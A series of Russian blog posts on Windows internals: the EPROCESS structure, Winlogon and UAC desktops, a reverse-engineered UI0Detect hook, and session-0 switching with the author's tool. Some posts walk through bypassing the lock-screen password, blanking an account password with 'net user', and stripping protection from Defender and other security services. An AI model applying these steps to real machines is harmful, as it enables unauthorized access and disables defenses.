            ULONG ProcessSelfDelete : 1;
            ULONG SetTimerResolutionLink : 1;
        };
    };
    LARGE_INTEGER CreateTime;
    SIZE_T ProcessQuotaUsage[2];
    SIZE_T ProcessQuotaPeak[2];
    SIZE_T PeakVirtualSize;
    SIZE_T VirtualSize;
    LIST_ENTRY SessionProcessLinks;
    union {
        PVOID ExceptionPortData;
        union {
            SIZE_T ExceptionPortValue;
            struct {
                SIZE_T ExceptionPortState : 3;
            };
        };
    };
    EX_FAST_REF Token;
    SIZE_T MmReserved;
    EX_PUSH_LOCK AddressCreationLock;
    EX_PUSH_LOCK PageTableCommitmentLock;
    PETHREAD RotateInProgress;
    PETHREAD ForkInProgress;
    PEJOB CommitChargeJob;
    RTL_AVL_TREE CloneRoot;
    SIZE_T NumberOfPrivatePages;
    SIZE_T NumberOfLockedPages;
    PVOID Win32Process;
    PEJOB Job;
    PVOID SectionObject;
    PVOID SectionBaseAddress;
    ULONG Cookie;
    PPAGEFAULT_HISTORY WorkingSetWatch;
    PVOID Win32WindowStation;
    PVOID InheritedFromUniqueProcessId;
    SIZE_T OwnerProcessId;
    PPEB Peb;
    PMM_SESSION_SPACE Session;
    PVOID Spare1;
    PEPROCESS_QUOTA_BLOCK QuotaBlock;
    PHANDLE_TABLE ObjectTable;
    PVOID DebugPort;
    PEWOW64PROCESS WoW64Process;
    EX_FAST_REF DeviceMap;
    PVOID EtwDataSource;
    SIZE_T PageDirectoryPte;
    PFILE_OBJECT ImageFilePointer;
    UCHAR ImageFileName[15];
    UCHAR PriorityClass;
    PVOID SecurityPort;
    SE_AUDIT_PROCESS_CREATION_INFO SeAuditProcessCreationInfo;
    LIST_ENTRY JobLinks;
    PVOID HighestUserAddress;
    LIST_ENTRY ThreadListHead;
    ULONG ActiveThreads;
    ULONG ImagePathHash;
    ULONG DefaultHardErrorProcessing;
    LONG LastThreadExitStatus;
    EX_FAST_REF PrefetchTrace;
    PVOID LockedPagesList;
    LARGE_INTEGER ReadOperationCount;
    LARGE_INTEGER WriteOperationCount;
    LARGE_INTEGER OtherOperationCount;
    LARGE_INTEGER ReadTransferCount;
    LARGE_INTEGER WriteTransferCount;
    LARGE_INTEGER OtherTransferCount;
    SIZE_T CommitChargeLimit;
    SIZE_T CommitCharge;
    SIZE_T CommitChargePeak;
    MMSUPPORT_FULL Vm;
    LIST_ENTRY MmProcessLinks;
    ULONG ModifiedPageCount;
    LONG ExitStatus;
    RTL_AVL_TREE VadRoot;
    PVOID VadHint;
    SIZE_T VadCount;
    SIZE_T VadPhysicalPages;
    SIZE_T VadPhysicalPagesLimit;
    ALPC_PROCESS_CONTEXT AlpcContext;
    LIST_ENTRY TimerResolutionLink;
    PPO_DIAG_STACK_RECORD TimerResolutionStackRecord;
    ULONG RequestedTimerResolution;
    ULONG SmallestTimerResolutio;
    LARGE_INTEGER ExitTime;
    PINVERTED_FUNCTION_TABLE InvertedFunctionTable;
    EX_PUSH_LOCK InvertedFunctionTableLock;
    ULONG ActiveThreadsHighWatermark;
    ULONG LargePrivateVadCount;
    EX_PUSH_LOCK ThreadListLock;
    PVOID WnfContext;
    PEJOB ServerSilo;
    BYTE SignatureLevel;
    BYTE SectionSignatureLevel;
    PS_PROTECTION Protection;
    union {
        ULONG HangCount : 3;
        ULONG GhostCount : 3;
        ULONG PrefilterException : 1;
    };
    union {
        ULONG Flags3;
        struct {
            ULONG Minimal : 1;
            ULONG ReplacingPageRoot : 1;
            ULONG Crashed : 1;
            ULONG JobVadsAreTracked : 1;
            ULONG VadTrackingDisabled : 1;
            ULONG AuxiliaryProcess : 1;
            ULONG SubsystemProcess : 1;
            ULONG IndirectCpuSets : 1;
            ULONG RelinquishedCommit : 1;
            ULONG HighGraphicsPriority : 1;
            ULONG CommitFailLogged : 1;
            ULONG ReserveFailLogged : 1;
            ULONG SystemProcess : 1;
            ULONG HideImageBaseAddresses : 1;
            ULONG AddressPolicyFrozen : 1;
            ULONG ProcessFirstResume : 1;
            ULONG ForegroundExternal : 1;
            ULONG ForegroundSystem : 1;
            ULONG HighMemoryPriority : 1;
            ULONG EnableProcessSuspendResumeLogging : 1;
            ULONG EnableThreadSuspendResumeLogging : 1;
            ULONG SecurityDomainChanged : 1;
            ULONG SecurityFreezeComplete : 1;
            ULONG VmProcessorHost : 1;
            ULONG VmProcessorHostTransition : 1;
            ULONG AltSyscall : 1;
            ULONG TimerResolutionIgnore : 1;
            ULONG DisallowUserTerminate : 1;
            ULONG EnableProcessRemoteExecProtectVmLogging : 1;
            ULONG EnableProcessLocalExecProtectVmLogging : 1;
        };
    };
 
    LONG DeviceAsid;
    PVOID SvmData;
    EX_PUSH_LOCK SvmProcessLock;
    SIZE_T SvmLock;
    LIST_ENTRY SvmProcessDeviceListHead;
    SIZE_T LastFreezeInterruptTime;
    PPROCESS_DISK_COUNTERS DiskCounters;
    PVOID PicoContext;
    PVOID EnclaveTable;
    SIZE_T EnclaveNumber;
    EX_PUSH_LOCK EnclaveLock;
    ULONG HighPriorityFaultsAllowed;
    PPO_PROCESS_ENERGY_CONTEXT EnergyContext;
    PVOID VmContext;
    SIZE_T SequenceNumber;
    SIZE_T CreateInterruptTime;
    SIZE_T CreateUnbiasedInterruptTime;
    SIZE_T TotalUnbiasedFrozenTime;
    SIZE_T LastAppStateUpdateTime;
    union {
        SIZE_T LastAppStateUptime : 61;
        SIZE_T LastAppState : 3;
    };
    SIZE_T SharedCommitCharge;
    EX_PUSH_LOCK SharedCommitLock;
    LIST_ENTRY SharedCommitLinks;
    SIZE_T AllowedCpuSets;
    SIZE_T DefaultCpuSets;
    PSIZE_T AllowedCpuSetsIndirect;
    PSIZE_T DefaultCpuSetsIndirect;
    PVOID DiskIoAttribution;
    PVOID DxgProcess;
    ULONG Win32KFilterSet;
    USHORT Machine;
    USHORT Spare0;
    PS_INTERLOCKED_TIMER_DELAY_VALUES ProcessTimerDelay;
    ULONG KTimerSets;
    ULONG KTimer2Sets;
    ULONG ThreadTimerSets;
    SIZE_T VirtualTimerListLock;
    LIST_ENTRY VirtualTimerListHead;
    WNF_STATE_NAME WakeChannel;
    PS_PROCESS_WAKE_INFORMATION WakeInfo;
    union {
        ULONG MitigationFlags;
        union {
            ULONG MitigationFlagsValues;
        };
    };
    union {
        ULONG MitigationFlags2;
        union {
            ULONG MitigationFlags2Values;
        };
    };
    PVOID PartitionObject;
    SIZE_T SecurityDomain;
    SIZE_T ParentSecurityDomain;
    PVOID CoverageSamplerContext;
    PVOID MmHotPatchContext;
    KE_IDEAL_PROCESSOR_ASSIGNMENT_BLOCK IdealProcessorAssignmentBlock;
    RTL_AVL_TREE DynamicEHContinuationTargetsTree;
    EX_PUSH_LOCK DynamicEHContinuationTargetsLock;
    PS_DYNAMIC_ENFORCED_ADDRESS_RANGES DynamicEnforcedCetCompatibleRanges;
    ULONG DisabledComponentFlags;
    LONG PageCombineSequence;
    EX_PUSH_LOCK EnableOptionalXStateFeaturesLock;
} EPROCESS, * PEPROCESS;

Стоит отдельно рассмотреть механизмы взаимодействия с файловыми объектами, т.к. система управляет ими немного иначе, чем другими объектами ядра.
Файловые объекты содержат указатель на следующий байт, который должен быть прочитан или записан в файл.
Каждый раз, когда приложение создает новый дескриптор файла, система создает новый файловый объект.
Следовательно, несколько файловых объектов могут ссылаться на один и тот же файл на диске

Только дублированием (или наследованием) нескольких дескрипторов файла, можно ссылаться на один и тот же файловый объект

Дескриптор остается действительным до тех пор, пока файловый объект не будет уничтожен функцией CloseHandle.

Объекты операционной системы. Часть 2: Объект ядра

Прогулка по Рабочему столу Winlogon. Часть 2: Привет, друг

_lunar_ — Mon, 07 Jun 2021 22:52:58 GMT

Прогулка по Рабочему столу Winlogon. Часть 1: UAC

Когда ребята из Microsoft создавали экран приветствия, где пользователь должен ввести логин и пароль,
наверняка они хотели изобрести что-то мощное, что не дало бы не единого шанса на обход пароля и перехода к обычному Рабочему столу.
И всё бы ничего, но один эксплойт они проглядели. Давайте разбираться.

Что же такое экран приветствия? На этот вопрос нам поможет ответить всё тот же KernelExplorer
Всё что мы видим на экране монитора в ОС семейства Windows есть ничто иное как Рабочий стол.
Это и обои, и заставки, и черный экран терминальной сессии, и даже экран приветствия.
Но если экран приветствия это Рабочий стол, то что это за Рабочий стол? Как он называется?
Всё просто - это Рабочий стол Winlogon. Да, тот самый, который ОС создаёт первым, а уже затем создаётся Рабочий стол Default.

Здесь стоит сделать небольшое отступление, и рассказать про функционал экран приветствия.
На данном Рабочем столе Winlogon отключено практически всё:
- не работает механизм переключения между Рабочими столами (SwitchDesktop) ни при каких правах (будь то даже система)
- не работает функционал быстрого скриншота PrintScreen и самого копирования (в буфер обмена не передаются данные, хотя у Рабочего стола Disconnect с этим всё в порядке)
- очень странно себя ведут некоторые оконные программы (здесь стоит сделать акцент на то, что этот стол изначально не предназначался для GUI)
И ещё много всякой мелочи, которая усложняет анализ происходящего.
А ведь как было бы просто взять функцию SwitchDesktop и перейти с Winlogon на Default, не вводя пароль от учетной записи.

Давайте запустим KernelExplorer на рабочем столе Winlogon (как мы это делали в первой части).
Для этого в меню выбираем Инструменты -> Сменить Рабочий стол -> Перейти на Рабочий стол Winlogon
Через утилиту управления UI0Return запустите KernelExplorer.
Не закрывайте KernelExplorer и вернитесь на Рабочий стол Default: кнопка Переключиться между Рабочими столами.

Для чистоты эксперимента я установил пароль для своей учетной записи

Чтобы его скинуть достаточно будет запустить командную строку от имени администратора и ввести net user имя_учетки ""

Заблокируем компьютер (клавиши Win+L) и попробуем ввести неправильный пароль (как-будто мы его не знаем)

После чего увидим обычное предупреждение о неправильном пароле.

Теперь нажмите клавиши Alt+Tab и перейдите к окну KernelExplorer.
Забавно да, мы на экране приветствия уже можем управлять компьютером (в частности запустить Explorer++ для исследования жесткого диска без ведома пользователя).
Но куда более интереснее всё же попытаться перейти на Рабочий стол Default без ввода пароля.

И вот он наш эксплойт :)

Как мы помним просто переключить Рабочий стол нельзя, но переход с экрана приветствия в терминальную сессию никто не отменял.
Остаётся лишь в меню выбрать Инструменты -> Перейти в терминальную сессию -> Оконная станция WinSta0
А затем просто нажать кнопку Вернуться в сессию пользователя и перейти на Рабочий стол Default.

Я вас поздравляю, мы только что обошли пароль от учетной записи.
Да, есть определенные ограничения (нужны права админа и т.д.), но сам факт того, что этот бекдор доступен и его можно использовать, на лицо.

Прогулка по Рабочему столу Winlogon. Часть 1: UAC

_lunar_ — Tue, 01 Jun 2021 21:55:24 GMT

В современной операционной системе Windows есть области ядра, в которые Microsoft не хотела бы пускать обычных пользователей. Сделано это, естественно, в целях безопасности.
Это могут быть процессы, сервисные службы, и даже Рабочие столы. Немного освежим память для целостности картины.
Не буду расписывать всё досконально (это всё есть в моих предыдущих блогах), но вот как происходит процесс загрузки ОС до того момента когда пользователь увидит свой привычный рабочий стол:
- ядро создаёт сессию 0
- в сессии создаётся несколько Рабочих станций
- интерактивной является оконная Рабочая станция WinSta0, она имеет три Рабочих стола: Default, Winlogon и Disconnent (Рабочий стол Default является общим для всех остальных Рабочих станций, но об этом я расскажу в других блогах).
Аналогично создаётся окружение и для сессии 1 (названия Рабочих станций и Рабочих столов точно такие же).
В сессии 0 загружаются системные процессы (минимальные процессы), а в сессии 1 пользовательские процессы.
Таким образом осуществлена изоляция ядра от пользователя.

Кроме того, стоит вспомнить, что первым wininit.exe создаёт Рабочий стол Winlogon, и если он валиден, то создаётся Рабочий стол Default.
Рабочий стол Disconnent всё ещё покрыт тайной (по крайней мере его создаёт не wininit.exe), но я заметил одну интересную особенность - момент когда он создаётся и последствия этого.
Но об этом тоже в других блогах, скажу лишь что этот Рабочий стол осуществляет переключение окружения между сессиями.

Теперь, когда немного освежили память, перейдём непосредственно к UAC.
UAC (или User Account Control - Контроль учётных записей) это средство безопасности, которое проверяет SID пользователя и выдаёт создаваемому процессу повышенные (Elevated) права.
Посмотрим что происходит, когда система просит нас подтвердить можно ли предоставить процессу повышенные права.
Т.к. на Рабочем столе Winlogon отключена функция PrintScreen я делал фото на телефон (сорри если не очень качественно, потом переделаю).

Это обычный Рабочий стол

Запустим KernelExplorer, который запросит повышенные права

Обычный пользователь подумает, что это просто снимок экрана без учёта ярлыков, файлов и Панели задач с Пуском, находящихся на его Рабочем столе Default.
Но на самом деле это не ваш Рабочий стол :)
От вашего Рабочего стола осталась только картинка, применённая к Обоям. А окружение, которое вы видите, это непосредственно Рабочий стол Winlogon.
Чтож, давайте узнаем как и почему это Рабочий стол Winlogon.

Запустим KernelExplorer и перейдём на Рабочий стол Winlogon (всё делается в пользовательской сессии 1, переходить в терминальную сессию не нужно):
Инструменты -> Сменить Рабочий стол -> Перейти на Рабочий стол Winlogon

Всё что вы увидите это черный экран и внизу справа мою утилиту управления UI0Return.
Давайте запустим KernelExplorer на этом Рабочем столе: кнопка Kernel Explorer

Не закрывайте KernelExplorer и вернитесь на Рабочий стол Default: кнопка Переключиться между Рабочими столами.

На вашем обычном Рабочем столе закройте KernelExplorer, и снова его откройте чтобы запросить у системы повышенные права.
Когда вы увидите запрос Контроль учётных записей, нажмите Alt+Tab для переключения между окнами.
Вот что вы увидите

Как вам? :)
Сейчас мы находимся в очень интересном месте ядра ОС. Во-первых, это Рабочий стол Winlogon. Во-вторых, мы можем посмотреть что такое этот UAC.
Для этого запустим Process Hacker:
Инструменты -> Внешние инструменты -> Process Hacker

Итак, процесс UAC называется consent.exe (его создаёт один из хостов svchost.exe с сервисом Appinfo)

Процесс является системным (NT AUTHORITY\СИСТЕМА) и достаточно прожорливым (более 65МБ). Давайте узнаем что у него под капотом.

Щелкните два раза левой кнопкой мыши по нему для открытия окна Свойств

Интересной будет являться вкладка Windows, т.к. Контроль учётных записей с предложением повышения прав процессу является окном.
Здесь мы видим и заголовок окна, и что более интересно имя окна и его класс
$$$Secure UAP Background Window и $$$Secure UAP Background Window Class соответственно.

Ничего не напоминает? :)
Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 1: Windows Vista - Windows 7

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
typedef BOOLEAN(NTAPI* _RtlTimeToSecondsSince1980)(
    _In_ PLARGE_INTEGER Time,
    _Out_ PULONG ElapsedSeconds
    );
_RtlTimeToSecondsSince1980 RtlTimeToSecondsSince1980;
 
LRESULT WINAPI Session0ViewerWindowProcHook(int nCode, WPARAM wParam, LPARAM lParam)
{
    HMODULE hModule = GetModuleHandle(TEXT("ntdll"));
 
    if (hModule)
        RtlTimeToSecondsSince1980 = (_RtlTimeToSecondsSince1980)GetProcAddress(hModule, "RtlTimeToSecondsSince1980");
 
    BOOL UserWorkItem = FALSE;
    DWORD LastSecondsStart = NULL;
    ULONG SecondsSince1980 = NULL;
    FILETIME SystemTimeAsFileTime{};
 
    if (!nCode && *(PDWORD)(lParam + 16) == 24) {
        if (*(PDWORD64)(lParam + 8)) {
            if (!FindWindow(TEXT("$$$UI0Background"), nullptr) && !GetParent(*(HWND*)(lParam + 24)) && !InterlockedCompareExchange(&g_lWorkItemGuard, 1, 0)) {
                GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
                if (RtlTimeToSecondsSince1980((PLARGE_INTEGER)&SystemTimeAsFileTime, &SecondsSince1980)) {
                    if (SecondsSince1980 > g_dwElapsedSinceLastStart && SecondsSince1980 - g_dwElapsedSinceLastStart >= 0x12C) {
                        UserWorkItem = QueueUserWorkItem(StartUI0DetectThreadProc, nullptr, WT_EXECUTEDEFAULT);
                        LastSecondsStart = g_dwElapsedSinceLastStart;
                        if (UserWorkItem)
                            LastSecondsStart = SecondsSince1980;
                        g_dwElapsedSinceLastStart = LastSecondsStart;
                    }
                }
            }
        }
    }
 
    InterlockedCompareExchange(&g_lWorkItemGuard, 0, 1);
 
    return CallNextHookEx(nullptr, nCode, wParam, lParam);
}

Видимо в Microsoft любят называть всякие секретные объекты ядра начиная с трёх символов $ (ну или это как-то связано с внутренней архитектурой ядра, не знаю).

Проводить дальнейший анализ UAC на паблик я не стану (чтобы уж совсем не обидеть ребят из MS и не только).
Но тем, кому интересно, могут спокойно подключать отладчики и анализировать выполнение кода для возможного его обхода.
В общем вот такой получился блог. Если есть вопросы пишите (коменты модерирую я, так что бред сивой кобылы и прочую ахинею можете оставить при себе).

Прогулка по Рабочему столу Winlogon. Часть 2: Привет, друг

Постоянная ссылка на Google Диск для скачивания моих утилит

_lunar_ — Wed, 03 Mar 2021 07:55:08 GMT

В этом блоге я буду выкладывать свои программы/утилиты с постоянной ссылкой.
Все обновления будут визироваться именно в этой постоянной ссылке.
Выкладывать архивы с новыми ревизиями больше не стану, слишком много вложений в разных темах получается и пользователи теряются.

KernelExplorer

Исходный код на GitHub

Скачать с GitHub

ВНИМАНИЕ!!!
В связи с ненормальной политикой Microsoft в отношении независимых разработчиков, убогий SmartScreen блокирует скачиваемые файлы с расширением *.EXE (браузер добавляет к файлу NTFS-stream с именем Zone.Identifier, куда помещает ссылку, откуда скачан файл. SmartScreen ругается именно на файлы с этим NTFS-потоком).
Поэтому, два файла - KernelExplorer.exe и UI0Detect.exe необходимо переименовать - убрать _RenameMe из имени, оставить только имя файла и его расширение *.exe
При использовании функционала обновления, программа автоматически переименовывает файлы.

Нажмите СКАЧАТЬ ВСЕ

вся папка загрузится в zip архиве на ваш компьютер (запуск программы осуществляется через KernelExplorer.exe)

GUI версия также присутствует и стала основной (консольная версия запускается из меню)

Вскрываем защиту ProtectedLite процессов на уровне пользовательского кода

_lunar_ — Sat, 20 Feb 2021 09:19:43 GMT

Начну немного с теории - как это работает и для чего это нужно.
При разработке нового ядра, отличного от ядра Windows XP, в Microsoft придумали такую штуку как изоляция критических процессов.
Следствием этого стали защищенные процессы (Process Protected), которые могли создавать только при наличии соответствующей подписи и сертификата.
Доступ к дескрипторам таких процессов был заблокирован на уровне ядра

и чтобы их получить нужен подписанный драйвер режима ядра.
Именно таким действием Microsoft и изолировала системные процессы от внедрения в них пользовательского кода.
Впервые Process Protected (далее PP) были введены в Windows Vista. В купе с тем, что помимо изолированных процессов, Microsoft ввела новую модель изоляции окружения
(Session 0 для системных процессов и служб, и Session 1 для пользовательских процессов), начался невиданный хаос в разработке нового и адаптации старого ПО под новые требования.
PP процессы были настолько защищены, что даже разработчики антивирусов толком не могли адаптировать свои продукты под новую архитектуру ядра ОС (The Windows Vista and Windows Server 2008 Developer Story: Application Compatibility Cookbook)

Поэтому, с релизом Windows 8.1 в Microsoft решили ввести новый тип процессов - Process ProtectedLite (далее PPL).
PPL это тоже защищенные процессы, требующие подпись и сертификат. Их дескрипторы всё также заблокированы на уровне ядра

и получить их стандартными методами из пользовательского кода невозможно.

Но чем тогда отличаются PP от PPL?
В основе модели PP лежит исполняемый файл и его родительский процесс. Всё просто и банально - есть подписанный файл, который при запуске создаёт процесс. Именно процесс и управляет тем, что ему предписано.
А вот модель PPL кардинально отличается от PP. В основе всё также лежит исполняемый файл, но его запуск происходит через сервис (если быть точный через менеджер ServiceManager). Поэтому таким процессом управляет сервисная служба.
Вместе с PPL в Microsoft ввели ещё одну защиту - SERVICE_LAUNCH_PROTECTED_INFO и вот такое небольшое пояснение

In order to apply any protection type to a service, the service must be signed with an appropriate certificate.
...
Once the service is launched as protected, other unprotected processes will not be able to call the following APIs on the protected service:
• ChangeServiceConfig
• ChangeServiceConfig2
• ControlService
• ControlServiceEx
• DeleteService
• SetServiceObjectSecurity

Проще говоря, они пишут, что сервис также подписывается соответствующим сертификатом, и что незащищенный (непривилегированный) процесс не может получить доступ к функциям управления сервисом.
(*Для самообразования есть вот такая интересная статья о защите сервисов подписью AntiMalware Protecting Anti-Malware Services)

Давайте рассмотрим более детально один из процессов svchost.exe (скриншот выше)
Он является PPL процессом. Получить его DACL и оставшуюся часть SACL невозможно, защита процесса не позволяет открыть дескриптор с необходимыми флагами чтения, лишь только некоторую лимитированную информацию и то из-под LocalSystem (обычный пользовательский процесс, запущенный даже с правами администратора, сразу выдаст Отказано в доступе).
Этот процесс имеет сервис управления wscsvc (Центр обеспечения безопасности)

и как мы видим он подписан сертификатом Windows (как и родительский процесс) и относится к защищенным сервисам. Кроме того он находится в запущенном состоянии, и имеет определенный набор флагов допуска.
Эти флаги позволяют управлять его состоянием (останавливать, запускать, удалять сервис и т.д.).
Остановим этот сервис и посмотрим что произойдёт c родительским процессом

Итак, сервис остановлен и родительский процесс отсутствует. Именно так и работает модель PPL процессов (управление таким процессом происходит через его сервис).

И вот теперь самое интересное.
В процессе исследования я обнаружил: либо эксплойт в системе защиты сервисов, позволяющий при определенных правах обойти сертификат и подпись, либо специально оставленный Microsoft бекдор.
Elevated процесс, и даже LocalSystem процесс (со стандартным набором прав) не способны изменить защиту сервиса на другой тип.
Вот что выдаёт ProcessHacker, запущенный от имени администратора (для Elevated процесса) с включенным драйвером режима ядра

Кликните здесь для просмотра всего текста

Я расширил функционал своей программы и дал ей определенные привилегии, которые возможны без использования драйвера режима ядра.
В результате была написана функция, способная изменять тип защиты сервиса.

Как можно видеть я отключил защиту у сервиса wscsvc (None).
Снова запустим сервис и по идентификатору (Process Id) откроем его родительский процесс.

И вот - процесс запущен без защиты, его дескрипторы открыты для чтения и записи, выводится полная информация о DACL и SACL.
Можно делать всё что угодно - инжектить свой код в адресное пространство процесса, добавлять DACL и пользователей, которые имеют доступ к процессу, и т.д.

В Windows 10 20H2 есть следующие сервисы, имеющие защиту:
WinDefend (Служба антивирусной программы Microsoft Defender) - защита уровня AntimalwareLight
WdNisSvc (Служба проверки сети антивирусной программы Microsoft Defender) - защита уровня AntimalwareLight
wscsvc (Центр обеспечения безопасности) - защита уровня WindowsLight (в Windows 11 в доступе к этой службе отказано)
WaaSMedicSvc (Служба Medic центра обновления Windows) - защита уровня WindowsLight
DoSvc (Оптимизация доставки) - защита уровня WindowsLight
AppIDSvc (Удостоверение приложения) - защита уровня WindowsLight
AppXSvc (Служба развертывания AppX) - защита уровня WindowsLight
Со всех этих сервисов спокойно снимается защита: сперва сервис останавливается (при этом автоматически уничтожается его родительский процесс), затем меняется защита, и снова запускается сервис (при этом его родительский процесс будет также без защиты).

Но есть сервисы, у которых накручен кое-какой скилл. К примеру:

ClipSVC (Служба лицензий клиента) - защита уровня WindowsLight
Под WindowsLight сервис спокойно запускается и останавливается. Затем меняется его защита, но при попытке запуска сервиса родительский процесс сразу падает.

Sense (Служба Advanced Threat Protection в Защитнике Windows) - защита уровня WindowsLight
По умолчанию сервис находится в остановленном состоянии. Защита спокойно меняется. Но при попытке запуска на любом уровне защиты процесс сразу падает.

sppsvc (Защита программного обеспечения) - защита уровня Windows
Под Windows сервис спокойно запускается и останавливается. Затем меняется его защита, но родительский процесс всегда запускается под защитой уровня Windows вне зависимости от уровня защиты сервиса.

И ещё 2 интересных сервиса:
SecurityHealthService (Служба "Безопасность Windows") - защита уровня WindowsLight (в Windows 11 в доступе к этой службе отказано)
SgrmBroker (Брокер мониторинга среды выполнения System Guard) - защита уровня Windows
Защита спокойно меняется, но оба этих сервиса не останавливаются, выдавая сообщение ERROR_INVALID_SERVICE_CONTROL (The requested control is not valid for this service) - в их accept control банально нет флага SERVICE_CONTROL_STOP
Снятие защиты с обоих сервисов и последующая перезагрузка компьютера не снимает защиту с родительских процессов.

Скачать программу вы можете ЗДЕСЬ

Добавлено (22.03.2022)
Microsoft прикрыла данную лазейку в Windows 11 - все сервисы, имеющие любую защиту, отказывают в доступе к программе с правами СИСТЕМА.
Сделано это было после того, как я опубликовал исходный код KernelExplorer.

Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 3: Эпилог

_lunar_ — Sat, 30 Jan 2021 10:33:38 GMT

Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 1: Windows Vista - Windows 7
Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 2: Windows 8 - Windows 10

В заключительной части много слов не будет. Я лишь скажу то, что мне всё таки удалось восстановить вырезанную Майкрософтом часть системы - сервис "Обнаружение интерактивных служб".
Очень долго я пытался заставить работать данный сервис на Windows 10 сборки 20H2 (2009), используя файлы UI0Detect.exe, WlS0WndH.dll и wininitext.dll от Windows 10 сборки 1709.
Делал разные хуки, инициализировал функции, просто подсовывал системе wininitext.dll, но wininit.exe на отрез отказывался запускать хукнутую PrimaryTerminalAndHookWorker с функцией RegisterSession0ViewerWindowHookDll.
При этом я знал, что платный инструмент ребят из FireDaemon прекрасно работает на сборке 1803 и последующих, в точности повторяя принцип работы дефолтового UI0Detect.
Поэтому, я решил написать свой сервис и попробовать его запустить.
Файлы FireDaemon дизассемблировать я не стал, т.к. они запакованы протом и тратить время на анпак я не собирался, да и ничего нового в части перехода в сессию 0 относительно UI0Detect я бы не увидел.
Тем более зачем мне это нужно, если я полностью дизассемблировал дефолтовый UI0Detect с имеющимися у Microsoft символами.

В итоге, после долгого тестирования и доработки сервиса мне удалось перейти в сессию 0 через стороннюю программу. Это была победа!
Далее появилась новая проблема - а как же теперь вернуться обратно в сессию 1?
Возврат я делал через меню ProcessHacker: сначала отключал сессию 1 Logoff (без этого перезагрузка из сессии 0 невозможна), затем перезагружал компьютер.
Такое положение вещей меня не устраивало. Я хотел быстрого перемещения из одной сессии в другую, как это делали дефолтовый UI0Detect и FireDaemon.
После долгих хождений по ядру ОС я всё же понял что необходимо для переключения в другую сессию.
С переходом получилось великолепно - одна команда и мы в сессии 0.
А с возвратом - дефолтовый UI0Detect запускается сразу в двух сессиях: основной поток в сессии 0 (как служба), и дочерний в сессии 1.
Я думаю это сделано для shared memory и глобальных данных, чтобы можно было видеть запросы в той и другой сессии и осуществлять переходы.
Ерундой этой я заниматься не стал и написал дополнительную программу для возврата в сессию 1.
В итоге, после перехода в сессию 0, вы увидите соответствующее уведомление (MessageBox), при нажатии на кнопку OK которого, будет осуществлен переход в сессию 1.

Теперь небольшая инструкция как осуществлять переход. Я не стал писать отдельное приложение, а просто включил данный функционал в свою программу.
Как мы помним из 2 части - Microsoft вырезала в Windows 10 поддержку устройств ввода\вывода в сессии 0 из драйвера win32kfull.sys.
Поэтому первое что нужно сделать - установить сторонний драйвер всё тех же FireDaemon (ребятам спасибо за дров, самому мне конечно же лень писать).

1. Драйвер нужно устанавливать всем пользователям Windows 10!
Для Windows Vista, Windows 7 и Windows 8\8.1 устанавливать его не обязательно, клава-мышь будет работать через дефолтовый win32kfull.sys в сессии 0.
Поэтому сразу после скачивания переходите в папку UI0Input и устанавливаете драйвер через FDUI0Input.inf (правой кнопкой мыши - Установить).
После установки драйвера обязательно перезагрузите компьютер.

2. Запустите ReqAdmin.exe
Для всех пользователей Windows 10 первое что нужно сделать - выполнить команду ui0 (Enter) (делается один раз - сервис будет запускаться вместе с системой в остановленном состоянии).
На сборках до 1709 включительно (у тех, кто имеет дефолтовый UI0Detect) эта команда внесёт соответствующие изменения в реестр (без них сервис не запустится).
На сборках 1803 и последующих эта команда полностью взведёт новый, написанный мною, сервис UI0Detect (разместит файл UI0Detect.exe в Windows\System32, внесёт изменения в реестр).
В результате на всех Windows (от Vista до 10), если вы выполните команду os (Enter) UI0Detect (Enter), должны увидеть следующее

Сервис будет находится в остановленном состоянии (SERVICE_STOPPED), и не иметь родительского процесса (PARENT_PROCESS_IS_NOT_RUNNING).

3. На всех Windows выполните команду ss (Enter) UI0Detect (Enter). Снова выполнив команду os (Enter) UI0Detect (Enter)

вы увидите, что сервис запущен (SERVICE_RUNNING) и имеет соответствующий ProcessId.

3.1. На Windows Vista, Windows 7, Windows 8\8.1, Windows 10 включительно до сборки 1709 после выполнения команды ss (Enter) UI0Detect (Enter) вы сразу увидите сообщение системы

Нажав на Просмотреть сообщение, вы сразу попадёте в сессию 0 (а вот пользователям Windows 10 сборки 1803 и последующих нужно сделать ещё немного).

4. Собственно всё готово к переходу в сессию 0. Но чтобы там не было совсем скучно, давайте запустим проводник Explorer++
Для этого выполните команду utl (Enter) 1 (Enter) 2 (Enter) 1 (Enter) 1 (Enter)

это запустит Explorer++ как системный процесс в сессии 0 на рабочем столе Default. Вы его не увидите до тех пор, пока не перейдёте в сессию 0.

5. Выполнив обязательное условие (на всех Windows сервис должен быть со статусом Выполняется (SERVICE_RUNNING)) можно сделать переход.
Для этого выполните команду sw (Enter) Default (Enter)

Я вас поздравляю, вы находитесь в окружении системы :)

Кликните здесь для просмотра всего текста

Там можно спокойно работать (этот блог я пишу из сессии 0), запускать программы, слушать музыку, серфить в интернете. И кстати браузер в сессии 0 открывается просто молниеносно, да и в целом там всё работает быстрее, т.к. нету целой физической оболочки пользовательского окружения, и все запросы отправляются прямиком в систему.
Единственно что не работает в сессии 0 - это графический драйвер (Microsoft об этом сразу заявляли). Так что запустить игру, или сделать интерфейс окон похожим на привычный пока что не получится.
А так, можно запустить какую-нибудь оболочку и превратить окружении сессии 0 в обычный рабочий стол (как это делается в linux системах).
А вот при попытке запуска дефолтового проводника Windows (explorer.exe), сначала произойдёт его первичная инициализация

Кликните здесь для просмотра всего текста

но через несколько секунд он "упадёт". Хотя при этом, в Windows 7 explorer.exe спокойно инициализируется и работает.

По мере обновления программы, буду прикреплять новые сборки, так что если кому интересно поглядывайте иногда)
Если возникнут какие-либо вопросы, пишите в комментариях.

Скачать программу вы можете ЗДЕСЬ

Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 2: Windows 8 - Windows 10

_lunar_ — Sun, 10 Jan 2021 09:16:57 GMT

Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 1: Windows Vista - Windows 7

Первая часть блога по исследованию сервиса UI0Detect в больше степени касается таких операционных систем, как Windows Vista и Windows 7.
Механизм переключения на Рабочий стол нулевой сессии в этих ОС одинаков (за исключением некоторых неважных мелочей).
